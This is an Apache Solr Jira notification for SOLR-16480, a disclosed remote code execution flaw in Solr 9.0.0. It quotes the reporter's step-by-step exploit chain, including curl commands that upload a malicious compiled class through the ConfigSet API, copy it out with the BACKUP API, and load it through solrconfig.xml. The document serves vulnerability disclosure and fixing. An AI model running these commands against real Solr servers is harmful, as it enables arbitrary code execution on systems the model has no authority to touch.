[
https://issues.apache.org/jira/browse/SOLR-16480?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Houston Putman updated SOLR-16480:
----------------------------------
Security: (was: Private (Security Issue))
> RCE via Backup/Restore APIs that allow for deployment of executables in
> malicious ConfigSets
> --------------------------------------------------------------------------------------------
>
> Key: SOLR-16480
> URL: https://issues.apache.org/jira/browse/SOLR-16480
> Project: Solr
> Issue Type: Bug
> Components: Backup/Restore, configset-api
> Reporter: Houston Putman
> Assignee: Houston Putman
> Priority: Blocker
> Fix For: 9.1.1
>
> Attachments: SOLR-16480-1.patch, SOLR-16480.patch
>
>
> Copying from the reporter's email:
> In CVE-2020-13957, an attacker can rce through SSTI,Then Solr removes the
> Template module.
> In the Cloud mode of Solr 9.0.0, You can still upload custom configuration
> files, Then I found a new way to RCE.
> Step 1.
> Prepare the default configuration file for solr9.0.0.
> Step 2.
> Compile the malicious class file(The package name of the class is
> zk_backup_0.configs.pocConf), put it into the configuration directory,
> package and upload it.
> zip -q -r poc.zip *
> curl -X POST --header "Content-Type:application/octet-stream" --data-binary
> @poc.zip "http://${target}/solr/admin/configs?action=UPLOAD&name=pocConf";
> Step 3.
> Use the pocConf configuration created in the previous step to create a new
> collection named pocCollection.
> curl
> "http://${target}/solr/admin/collections?action=CREATE&name=pocCollection&numShards=1&replicationFactor=1&wt=json&collection.configName=pocConf";
> Step 4.
> Through the backup api, you can export the configuration and bring out the
> class file.
> curl
> "http://${target}/solr/admin/collections?action=BACKUP&collection=pocCollection&location=${solrhome}/&name=expCollection_shard1_replica_n1";
> curl
> "http://${target}/solr/admin/collections?action=BACKUP&collection=pocCollection&location=${solrhome}/expCollection_shard1_replica_n1&name=lib";
> The final class file path is:
> ${solrhome}/expCollection_shard1_replica_n1/lib/pocCollection/zk_backup_0/configs/pocConf/Exp.class
> .
> Step 5.
> Modify solrconfig.xml to load the custom class, package and upload it, and
> use it to create a configuration named expConf.
> curl -X POST --header "Content-Type:application/octet-stream" --data-binary
> @exp.zip "http://${target}/solr/admin/configs?action=UPLOAD&name=expConf";
> Step 6.
> Use the expConf configuration created in the previous step to create a new
> collection named expCollection.
> The creation process will load some custom classes configured in
> solrconfig.xml, thereby triggering Java code execution.
> Step 7.
> Ordinary java code is restricted by Java sandbox, But I found a way to bypass
> the Java sandbox, The details are in the attachment.
> The following is a proof screenshots, I put the attack script in the
> attachment.
> 1. Startup the environment
> docker run --rm -td --name solr9.0.0 -p 8983:8983 solr:9.0.0 bash
> docker exec -ti solr9.0.0 bash
> solr start -c
> 2. Run the exp
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
---------------------------------------------------------------------
To unsubscribe, e-mail: issues-unsubscr...@solr.apache.org
For additional commands, e-mail: issues-h...@solr.apache.org
